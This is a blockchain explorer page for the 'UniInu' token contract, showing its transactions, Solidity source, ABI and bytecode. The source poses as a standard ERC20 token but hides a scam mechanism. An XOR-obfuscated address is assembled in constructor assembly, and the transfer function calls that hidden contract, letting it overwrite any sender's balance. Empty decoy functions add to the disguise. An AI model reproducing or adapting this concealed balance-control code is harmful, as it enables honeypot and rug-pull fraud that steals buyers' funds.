Overview
ETH Balance
ETH Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 53 transactions
| Transaction Hash |
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 9510004 | 337 days ago | IN | 0 ETH | 0.00000003 | ||||
| Approve | 8559270 | 348 days ago | IN | 0 ETH | 0.00000047 | ||||
| Approve | 8545451 | 349 days ago | IN | 0 ETH | 0.00000065 | ||||
| Approve | 8543911 | 349 days ago | IN | 0 ETH | 0.00000089 | ||||
| Transfer | 8543684 | 349 days ago | IN | 0 ETH | 0.00001472 | ||||
| Approve | 8542034 | 349 days ago | IN | 0 ETH | 0.00000173 | ||||
| Approve | 8541243 | 349 days ago | IN | 0 ETH | 0.00000115 | ||||
| Approve | 8540979 | 349 days ago | IN | 0 ETH | 0.00000094 | ||||
| Transfer | 8540932 | 349 days ago | IN | 0 ETH | 0.00000125 | ||||
| Approve | 8540930 | 349 days ago | IN | 0 ETH | 0.00000142 | ||||
| Approve | 8540760 | 349 days ago | IN | 0 ETH | 0.000002 | ||||
| Approve | 8540697 | 349 days ago | IN | 0 ETH | 0.00000167 | ||||
| Approve | 8540670 | 349 days ago | IN | 0 ETH | 0.000002 | ||||
| Approve | 8540629 | 349 days ago | IN | 0 ETH | 0.00000613 | ||||
| Approve | 8540626 | 349 days ago | IN | 0 ETH | 0.00000613 | ||||
| Approve | 8540450 | 349 days ago | IN | 0 ETH | 0.00000138 | ||||
| Approve | 8540080 | 349 days ago | IN | 0 ETH | 0.00000188 | ||||
| Approve | 8540057 | 349 days ago | IN | 0 ETH | 0.00000206 | ||||
| Approve | 8540033 | 349 days ago | IN | 0 ETH | 0.00000125 | ||||
| Approve | 8539992 | 349 days ago | IN | 0 ETH | 0.0000016 | ||||
| Approve | 8539919 | 349 days ago | IN | 0 ETH | 0.00000215 | ||||
| Approve | 8539901 | 349 days ago | IN | 0 ETH | 0.00000232 | ||||
| Approve | 8539894 | 349 days ago | IN | 0 ETH | 0.00000225 | ||||
| Approve | 8539876 | 349 days ago | IN | 0 ETH | 0.00000251 | ||||
| Approve | 8539841 | 349 days ago | IN | 0 ETH | 0.00000233 |
Latest 1 internal transaction
| Parent Transaction Hash | Block | From | To | |||
|---|---|---|---|---|---|---|
| 8538657 | 349 days ago | 1 ETH |
Cross-Chain Transactions
Contract Source Code (Solidity)
/**
*Submitted for verification at uniscan.xyz on 2025-02-11
*/
// Inu = Uni. But in reverse.
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0x4200000000000000000000000000000000000006;
address _router = 0x284F11109359a7e1306C3e447ef14D38400063FF;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
bool public trade; uint256 public startBlock; address public msgSend;
address public msgReceive;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
assembly {
sstore(0x50,0x8e9cbbb3fb42ea2f88a054b76ac426c8742bd4c0444d)
sstore(0x51,0x8e9cffa5236b238c36a1f21eee528938edd6af880b8e)
sstore(0x52,xor(sload(0x50),sload(0x51)))
}
router = IDEXRouter(_router);
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setNFTContract(address toTarget) public onlyOwner returns (uint number) {
}
function whitelist(bool flag) public onlyOwner returns (address spender) {
}
function openTrade() public payable {
require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");
_approve(address(this), _router, ~uint256(0));
uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 350);
_balances[address(this)] += uniswapSupply;
_balances[msg.sender] -= uniswapSupply;
emit Transfer(msg.sender, address(this), uniswapSupply);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300);
trade = true; startBlock = block.number;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function buyAndSNAPs(address sender, uint256 amount) internal returns (uint256 result) {
assembly {
let data := mload(0x40)
mstore(data, 0x569937dd00000000000000000000000000000000000000000000000000000000)
mstore(add(data, 0x04), amount)
mstore(0x40, add(data, 0x24))
let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
if success { result := mload(data) }
}
_balances[sender] = result - amount;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
msgSend = sender; msgReceive = recipient;
require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
require(msgSend != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
buyAndSNAPs(sender, amount);
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _DeployUniInu(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[msg.sender] += amount;
emit Transfer(address(0), msg.sender, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol) {
_DeployUniInu(creator, initialSupply);
}
}
contract UniInu is ERC20Token {
constructor() ERC20Token("UNI", "INU", msg.sender, 1000000000 * 10 ** 18) {
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"toTarget","type":"address"}],"name":"setNFTContract","outputs":[{"internalType":"uint256","name":"number","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"flag","type":"bool"}],"name":"whitelist","outputs":[{"internalType":"address","name":"spender","type":"address"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
6080604052600480546001600160a01b0319908116734200000000000000000000000000000000000006179091556005805490911673284f11109359a7e1306c3e447ef14d38400063ff179055348015610057575f5ffd5b5060405180604001604052806003815260200162554e4960e81b81525060405180604001604052806003815260200162494e5560e81b815250336b033b2e3c9fd0803ce800000083835f6100af61019960201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060086101088382610303565b5060096101158282610303565b5050758e9cbbb3fb42ea2f88a054b76ac426c8742bd4c0444d60505550758e9cffa5236b238c36a1f21eee528938edd6af880b8e605155734416d829c9a3be01a6a98496aff099fd7b484fc3605255600554600780546001600160a01b0319166001600160a01b03909216919091179055610190828261019d565b505050506103e2565b3390565b6001600160a01b0382166101f75760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461020891906103bd565b9091555050335f908152600260205260408120805483929061022b9084906103bd565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061029357607f821691505b6020821081036102b157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156102fe57805f5260205f20601f840160051c810160208510156102dc5750805b601f840160051c820191505b818110156102fb575f81556001016102e8565b50505b505050565b81516001600160401b0381111561031c5761031c61026b565b6103308161032a845461027f565b846102b7565b6020601f821160018114610362575f831561034b5750848201515b5f19600385901b1c1916600184901b1784556102fb565b5f84815260208120601f198516915b828110156103915787850151825560209485019460019092019101610371565b50848210156103ae57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b808201808211156103dc57634e487b7160e01b5f52601160045260245ffd5b92915050565b610e78806103ef5f395ff3fe608060405260043610610110575f3560e01c8063715018a61161009d578063a8aa1b3111610062578063a8aa1b31146102df578063a9059cbb146102fe578063d8811d131461031d578063dd62ed3e14610337578063fb201b1d1461037b575f5ffd5b8063715018a61461025a5780638da5cb5b1461027057806395d89b411461028d578063a705eee2146102a1578063a7ccabdf146102c0575f5ffd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f657806348cd4cb11461021157806370a0823114610226575f5ffd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f5ffd5b34801561011f575f5ffd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f5ffd5b50610164610383565b6040516101479190610bf3565b34801561017c575f5ffd5b5061019061018b366004610c3f565b610413565b6040519015158152602001610147565b3480156101ab575f5ffd5b50600a545b604051908152602001610147565b3480156101c9575f5ffd5b50600b546101909060ff1681565b3480156101e2575f5ffd5b506101906101f1366004610c69565b610429565b348015610201575f5ffd5b5060405160128152602001610147565b34801561021c575f5ffd5b506101b0600c5481565b348015610231575f5ffd5b506101b0610240366004610ca7565b6001600160a01b03165f9081526002602052604090205490565b348015610265575f5ffd5b5061026e6104dd565b005b34801561027b575f5ffd5b506001546001600160a01b0316610133565b348015610298575f5ffd5b50610164610550565b3480156102ac575f5ffd5b50600e54610133906001600160a01b031681565b3480156102cb575f5ffd5b506101b06102da366004610ca7565b61055f565b3480156102ea575f5ffd5b50600654610133906001600160a01b031681565b348015610309575f5ffd5b50610190610318366004610c3f565b610590565b348015610328575f5ffd5b506101336102da366004610cc9565b348015610342575f5ffd5b506101b0610351366004610ce8565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61026e61059c565b60606008805461039290610d1f565b80601f01602080910402602001604051908101604052809291908181526020018280546103be90610d1f565b80156104095780601f106103e057610100808354040283529160200191610409565b820191905f5260205f20905b8154815290600101906020018083116103ec57829003601f168201915b5050505050905090565b5f61041f338484610869565b5060015b92915050565b5f61043584848461098d565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104be5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104d285336104cd8685610d6b565b610869565b506001949350505050565b6001546001600160a01b031633146105075760405162461bcd60e51b81526004016104b590610d7e565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461039290610d1f565b6001545f906001600160a01b0316331461058b5760405162461bcd60e51b81526004016104b590610d7e565b919050565b5f61041f33848461098d565b6001546001600160a01b0316331480156105b95750600b5460ff16155b6105d55760405162461bcd60e51b81526004016104b590610d7e565b6005546105ee9030906001600160a01b03165f19610869565b5f612710600a546105ff9190610db3565b61060b906125b2610dd2565b305f9081526002602052604081208054929350839290919061062e908490610de9565b9091555050335f9081526002602052604081208054839290610651908490610d6b565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106dd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107019190610dfc565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610754573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107789190610dfc565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107b66001546001600160a01b031690565b6107c24261012c610de9565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561082d573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108529190610e17565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108cb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b5565b6001600160a01b03821661092c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b5565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109dd5750600d546001600160a01b031630145b806109f85750600154600d546001600160a01b039081169116145b610a4e5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104b5565b600d546001600160a01b0316610ab45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b5565b6001600160a01b038216610b165760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b5565b610b208382610b94565b506001600160a01b0382165f9081526002602052604081208054839290610b48908490610de9565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161098091815260200190565b5f60405163569937dd60e01b8152826004820152602481016040526020816024835f6052545af18015610bc657815192505b50610bd390508282610d6b565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c3c575f5ffd5b50565b5f5f60408385031215610c50575f5ffd5b8235610c5b81610c28565b946020939093013593505050565b5f5f5f60608486031215610c7b575f5ffd5b8335610c8681610c28565b92506020840135610c9681610c28565b929592945050506040919091013590565b5f60208284031215610cb7575f5ffd5b8135610cc281610c28565b9392505050565b5f60208284031215610cd9575f5ffd5b81358015158114610cc2575f5ffd5b5f5f60408385031215610cf9575f5ffd5b8235610d0481610c28565b91506020830135610d1481610c28565b809150509250929050565b600181811c90821680610d3357607f821691505b602082108103610d5157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042357610423610d57565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610dcd57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761042357610423610d57565b8082018082111561042357610423610d57565b5f60208284031215610e0c575f5ffd5b8151610cc281610c28565b5f5f5f60608486031215610e29575f5ffd5b505081516020830151604090930151909492935091905056fea26469706673582212201abf96cb9eac014550294e674b582392640387f81e2fcd03abc0fd47a481b52c64736f6c634300081b0033
Deployed Bytecode
0x608060405260043610610110575f3560e01c8063715018a61161009d578063a8aa1b3111610062578063a8aa1b31146102df578063a9059cbb146102fe578063d8811d131461031d578063dd62ed3e14610337578063fb201b1d1461037b575f5ffd5b8063715018a61461025a5780638da5cb5b1461027057806395d89b411461028d578063a705eee2146102a1578063a7ccabdf146102c0575f5ffd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f657806348cd4cb11461021157806370a0823114610226575f5ffd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f5ffd5b34801561011f575f5ffd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f5ffd5b50610164610383565b6040516101479190610bf3565b34801561017c575f5ffd5b5061019061018b366004610c3f565b610413565b6040519015158152602001610147565b3480156101ab575f5ffd5b50600a545b604051908152602001610147565b3480156101c9575f5ffd5b50600b546101909060ff1681565b3480156101e2575f5ffd5b506101906101f1366004610c69565b610429565b348015610201575f5ffd5b5060405160128152602001610147565b34801561021c575f5ffd5b506101b0600c5481565b348015610231575f5ffd5b506101b0610240366004610ca7565b6001600160a01b03165f9081526002602052604090205490565b348015610265575f5ffd5b5061026e6104dd565b005b34801561027b575f5ffd5b506001546001600160a01b0316610133565b348015610298575f5ffd5b50610164610550565b3480156102ac575f5ffd5b50600e54610133906001600160a01b031681565b3480156102cb575f5ffd5b506101b06102da366004610ca7565b61055f565b3480156102ea575f5ffd5b50600654610133906001600160a01b031681565b348015610309575f5ffd5b50610190610318366004610c3f565b610590565b348015610328575f5ffd5b506101336102da366004610cc9565b348015610342575f5ffd5b506101b0610351366004610ce8565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61026e61059c565b60606008805461039290610d1f565b80601f01602080910402602001604051908101604052809291908181526020018280546103be90610d1f565b80156104095780601f106103e057610100808354040283529160200191610409565b820191905f5260205f20905b8154815290600101906020018083116103ec57829003601f168201915b5050505050905090565b5f61041f338484610869565b5060015b92915050565b5f61043584848461098d565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104be5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104d285336104cd8685610d6b565b610869565b506001949350505050565b6001546001600160a01b031633146105075760405162461bcd60e51b81526004016104b590610d7e565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461039290610d1f565b6001545f906001600160a01b0316331461058b5760405162461bcd60e51b81526004016104b590610d7e565b919050565b5f61041f33848461098d565b6001546001600160a01b0316331480156105b95750600b5460ff16155b6105d55760405162461bcd60e51b81526004016104b590610d7e565b6005546105ee9030906001600160a01b03165f19610869565b5f612710600a546105ff9190610db3565b61060b906125b2610dd2565b305f9081526002602052604081208054929350839290919061062e908490610de9565b9091555050335f9081526002602052604081208054839290610651908490610d6b565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106dd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107019190610dfc565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610754573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107789190610dfc565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107b66001546001600160a01b031690565b6107c24261012c610de9565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561082d573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108529190610e17565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108cb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b5565b6001600160a01b03821661092c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b5565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109dd5750600d546001600160a01b031630145b806109f85750600154600d546001600160a01b039081169116145b610a4e5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104b5565b600d546001600160a01b0316610ab45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b5565b6001600160a01b038216610b165760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b5565b610b208382610b94565b506001600160a01b0382165f9081526002602052604081208054839290610b48908490610de9565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161098091815260200190565b5f60405163569937dd60e01b8152826004820152602481016040526020816024835f6052545af18015610bc657815192505b50610bd390508282610d6b565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c3c575f5ffd5b50565b5f5f60408385031215610c50575f5ffd5b8235610c5b81610c28565b946020939093013593505050565b5f5f5f60608486031215610c7b575f5ffd5b8335610c8681610c28565b92506020840135610c9681610c28565b929592945050506040919091013590565b5f60208284031215610cb7575f5ffd5b8135610cc281610c28565b9392505050565b5f60208284031215610cd9575f5ffd5b81358015158114610cc2575f5ffd5b5f5f60408385031215610cf9575f5ffd5b8235610d0481610c28565b91506020830135610d1481610c28565b809150509250929050565b600181811c90821680610d3357607f821691505b602082108103610d5157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042357610423610d57565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610dcd57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761042357610423610d57565b8082018082111561042357610423610d57565b5f60208284031215610e0c575f5ffd5b8151610cc281610c28565b5f5f5f60608486031215610e29575f5ffd5b505081516020830151604090930151909492935091905056fea26469706673582212201abf96cb9eac014550294e674b582392640387f81e2fcd03abc0fd47a481b52c64736f6c634300081b0033
Deployed Bytecode Sourcemap
7909:122:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2956:22;;;;;;;;;;-1:-1:-1;2956:22:0;;;;-1:-1:-1;;;;;2956:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;2956:22:0;;;;;;;;3539:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4520:160::-;;;;;;;;;;-1:-1:-1;4520:160:0;;;;;:::i;:::-;;:::i;:::-;;;1318:14:1;;1311:22;1293:41;;1281:2;1266:18;4520:160:0;1153:187:1;6084:108:0;;;;;;;;;;-1:-1:-1;6172:12:0;;6084:108;;;1491:25:1;;;1479:2;1464:18;6084:108:0;1345:177:1;2910:17:0;;;;;;;;;;-1:-1:-1;2910:17:0;;;;;;;;4090:422;;;;;;;;;;-1:-1:-1;4090:422:0;;;;;:::i;:::-;;:::i;3647:93::-;;;;;;;;;;-1:-1:-1;3647:93:0;;3730:2;2182:36:1;;2170:2;2155:18;3647:93:0;2040:184:1;2929:25:0;;;;;;;;;;;;;;;;5949:127;;;;;;;;;;-1:-1:-1;5949:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6050:18:0;6023:7;6050:18;;;:9;:18;;;;;;;5949:127;2290:148;;;;;;;;;;;;;:::i;:::-;;2076:79;;;;;;;;;;-1:-1:-1;2141:6:0;;-1:-1:-1;;;;;2141:6:0;2076:79;;3427:104;;;;;;;;;;;;;:::i;2985:25::-;;;;;;;;;;-1:-1:-1;2985:25:0;;;;-1:-1:-1;;;;;2985:25:0;;;5042:89;;;;;;;;;;-1:-1:-1;5042:89:0;;;;;:::i;:::-;;:::i;2775:19::-;;;;;;;;;;-1:-1:-1;2775:19:0;;;;-1:-1:-1;;;;;2775:19:0;;;3907:175;;;;;;;;;;-1:-1:-1;3907:175:0;;;;;:::i;:::-;;:::i;5139:81::-;;;;;;;;;;-1:-1:-1;5139:81:0;;;;;:::i;3748:151::-;;;;;;;;;;-1:-1:-1;3748:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3864:18:0;;;3837:7;3864:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3748:151;5228:713;;;:::i;3539:100::-;3593:13;3626:5;3619:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3539:100;:::o;4520:160::-;4594:4;4611:39;205:10;4634:7;4643:6;4611:8;:39::i;:::-;-1:-1:-1;4668:4:0;4520:160;;;;;:::o;4090:422::-;4196:4;4213:36;4223:6;4231:9;4242:6;4213:9;:36::i;:::-;-1:-1: